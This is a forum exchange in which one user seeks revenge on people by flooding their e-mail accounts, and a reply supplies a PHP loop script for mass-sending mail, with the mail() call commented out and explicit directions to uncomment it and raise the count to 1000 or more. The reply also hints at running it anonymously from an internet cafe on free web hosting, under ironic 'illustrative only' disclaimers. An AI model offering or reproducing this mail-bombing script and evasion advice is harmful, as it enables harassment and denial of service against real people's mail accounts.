How do I get e-mail revenge?

Funny title I know but a few people have pissed me off and i want to know (theoretically, of course) how I can either send them so much rubbish it brings their mail account to it's knees or some way of really messing them around.

Please don't judge me. I'm not a bad person :twisted:

Any reprehensible suggestions welcomed with glee

Personally, I would never use code like this example below.

<?php
# Code for illustrative purposes only. This should
# not be used with malicious intent.


$counter = 1;

//$targetEmail = "unpopular.person@someplace.cock";
//$mailFrom = "Someone you've annoyed";
//$mailTo = "Target <$targetEmail>";
//$mailSubject = "We do not like you very much";
//$message = "Insert email message here...";


while($counter <= 100)
{

//mail($mailTo, $mailSubject, $message, $mailFrom);
echo $counter . "<br />";
$counter++;
}

?>

Upload and run it and you'll see it echos the value of $counter to the screen 100 times (really quickly). Now imagine what would happen if you removed the echo and un-commented the rest and increased the condition in the while block to 1000 or more :roll:

Again, I'd stress that I'd never go to an internet cafe, upload this to some free webspace and run it from there. I'm pretty sure that's what the bad folk would do.
